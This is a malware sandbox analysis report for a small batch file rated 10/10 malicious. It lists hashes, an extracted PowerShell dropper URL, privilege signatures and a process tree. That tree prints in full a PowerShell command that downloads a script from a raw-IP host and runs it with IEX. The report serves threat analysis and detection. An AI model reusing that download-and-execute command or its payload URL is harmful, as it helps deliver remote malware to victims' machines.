3e7bed4a943497b3c8a6874e6981a1f3b1799f14f9a4987829baea095fbba311 | Triage

Analysis

max time kernel
149s
max time network
135s
platform
windows10_x64
resource
win10v200430
submitted
05-05-2020 09:10

Sharing

Report Analysis Logs

General

Target

DnRWHnp4.bat
Size

195B
MD5

94468061a94b1bdd17ebc1b6bbb3e47b
SHA1

b4a5680c8598467c4a916ba37d936606820449be
SHA256

3e7bed4a943497b3c8a6874e6981a1f3b1799f14f9a4987829baea095fbba311
SHA512

18a6e54cbec9c80d7a03c6af01b1fc538c5d245dad3ea2c48fb2faf3773008fa50e1db201d4246c6019b94717fa7959607d9b71271442b93e787a786e691c166

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/DnRWHnp4

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

808 3144 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 808 WerFault.exe
Token: SeBackupPrivilege 808 WerFault.exe
Token: SeDebugPrivilege 808 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe
808	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 2 http://www.msftconnecttest.com/connecttest.txt

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DnRWHnp4.bat"
1⤵
PID:3988

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/DnRWHnp4');Invoke-GZYYYWYTPJDW;Start-Sleep -s 10000"
2⤵
PID:3144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3144 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:808

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/808-0-0x0000000004280000-0x0000000004281000-memory.dmp

Filesize
4KB

Download
memory/808-1-0x00000000048B0000-0x00000000048B1000-memory.dmp

Filesize
4KB

Download